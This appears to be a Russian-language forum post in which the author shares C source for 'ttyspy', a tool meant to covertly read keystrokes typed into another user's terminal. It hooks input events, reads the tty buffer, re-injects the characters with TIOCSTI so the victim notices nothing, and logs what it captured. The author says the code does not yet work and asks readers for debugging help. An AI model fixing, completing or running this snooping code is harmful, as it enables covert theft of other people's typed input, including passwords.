В общем, есть некий код, он не совсем рабочий, но вроде идея правильная.
Регистрируем события поступления ввода процессам, читающим с терминала (через DNOTIFY на /dev/* или /dev/pts/*), регистрируем события поступления ввода от драйвера терминала (через FASYNC на терминале). При каждом таком событии прочитываем весь буфер и запихиваем назад через TIOCSTI IOCTL. Чтобы не терять ввод устанавливаем приоритет реального времени (SCHED_FIFO).
Не работает
Если кто подскажет где я глючу — обязательно включу в список авторов (если схема принципиально верна)
Вот код:
#define _GNU_SOURCE
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <sys/mman.h>
#include <unistd.h>
#include <stdio.h>
#include <signal.h>
#define SPY_INTERRUPTED 0
#define SPY_DRIVER_INPUT_RECV 1
#define SPY_USER_INPUT_RECV 2
#define SPY_MAX_BUFFER_SIZE 4096
int spy_reason;
int fd, dfd;
int buffer_size, buffer_tail;
static void usage () {
}
void spy_io_handler (int unused, siginfo_t * si, void * unused2) {
printf ("handler! fd=%d band=%d\n", si->si_fd, si->si_band);
spy_reason = (si->si_fd != fd) ? SPY_USER_INPUT_RECV: SPY_DRIVER_INPUT_RECV;
}
int spy_register_hook (int fd) {
char tname[strlen(ttyname (fd))+1];
strcpy (tname, ttyname(fd));
*(strrchr (tname, '/')) = '\0';
dfd = open (tname, O_RDONLY);
/* User input registration */
if (dfd == -1)
return 0;
if (fcntl (dfd, F_NOTIFY, DN_ACCESS|DN_MULTISHOT) == -1) {
close (dfd);
return 0;
}
if (fcntl (dfd, F_SETOWN, getpid ()) == -1) {
close (dfd);
return 0;
}
if (fcntl (dfd, F_SETSIG, SIGUSR1) == -1) {
close (dfd);
return 0;
}
/* Driver input registration */
if (fcntl (fd, F_SETOWN, getpid ()) == -1) {
close (dfd);
return 0;
}
if (fcntl (fd, F_SETFL, FASYNC|O_NONBLOCK) == -1) {
close (dfd);
return 0;
}
if (fcntl (fd, F_SETSIG, SIGUSR1) == -1) {
close (dfd);
return 0;
}
// ioctl (fd, FIONREAD, &buffer_size);
buffer_tail = buffer_size = 0;
return 1;
}
int spy_wait_for_event () {
spy_reason = SPY_INTERRUPTED;
sigset_t ss;
sigemptyset (&ss);
sigaction (SIGUSR1, &(const struct sigaction){.sa_sigaction = spy_io_handler, .sa_mask = ss, .sa_flags = SA_SIGINFO},NULL);
fprintf (stderr, "spy_wait_for_event entering!\n");
pause ();
fprintf (stderr, "spy_wait_for_event exited!\n");
sigaction (SIGUSR1, &(const struct sigaction){.sa_handler = SIG_IGN, .sa_mask = ss, .sa_flags = 0},NULL);
return spy_reason;
}
void spy_unread_input (int fd, char * s, int n) {
int i, c;
for (i=0; i<n; i++)
c = s[i], ioctl (fd, TIOCSTI, &c);
}
void spy_output_chars (char * s, int tail, int end) {
int i;
for (i=tail; i<end; i++)
fprintf (stderr, "%x('%c'), ", s[i], s[i]);
}
int main (int argc, char * argv[]) {
int rc;
int seek = 0;
char s[SPY_MAX_BUFFER_SIZE];
rc = sched_setscheduler (0, SCHED_FIFO,
&(const struct sched_param){.sched_priority = 1}) == -1;
rc |= mlockall (MCL_CURRENT|MCL_FUTURE) == -1;
if (rc) {
fprintf (stderr, "ttyspy: failed to set realtime priority\n");
return 0;
}
if (argc != 2) {
usage ();
return 0;
}
fd = open (argv[1], O_RDWR);
if (fd == -1) {
fprintf (stderr, "ttyspy: failed to open '%s'\n", argv[1]);
usage ();
return 0;
}
if (!isatty (fd)) {
fprintf (stderr, "ttyspy: '%s' is not a tty\n", argv[1]);
close (fd);
usage ();
return 0;
}
if (!spy_register_hook (fd)) {
fprintf (stderr, "ttyspy: failed to hook\n");
close (fd);
return 0;
}
while (1) {
switch (spy_wait_for_event ()) {
case SPY_DRIVER_INPUT_RECV:
buffer_size = read (fd, s, SPY_MAX_BUFFER_SIZE);
fprintf (stderr, "driver input, got %d chars\n", buffer_size-buffer_tail);
if (buffer_size == -1) { // AP: weird, we could not read 0 bytes on driver input!
buffer_size = buffer_tail = 0;
break;
}
spy_unread_input (fd, s, buffer_size);
spy_output_chars (s, buffer_tail, buffer_size);
buffer_tail = buffer_size;
fprintf (stderr, "driver input exiting\n");
break;
case SPY_USER_INPUT_RECV:
buffer_size = read (fd, s, SPY_MAX_BUFFER_SIZE);
fprintf (stderr, "user input, buffer shrinked to %d\n", buffer_size);
if (buffer_size == -1) { // AP: that is the most common way ...
buffer_size = buffer_tail = 0;
break;
}
spy_unread_input (fd, s, buffer_size);
buffer_tail = buffer_size;
break;
default: return 1;
}
}
close (fd);
close (dfd);
return 1;
}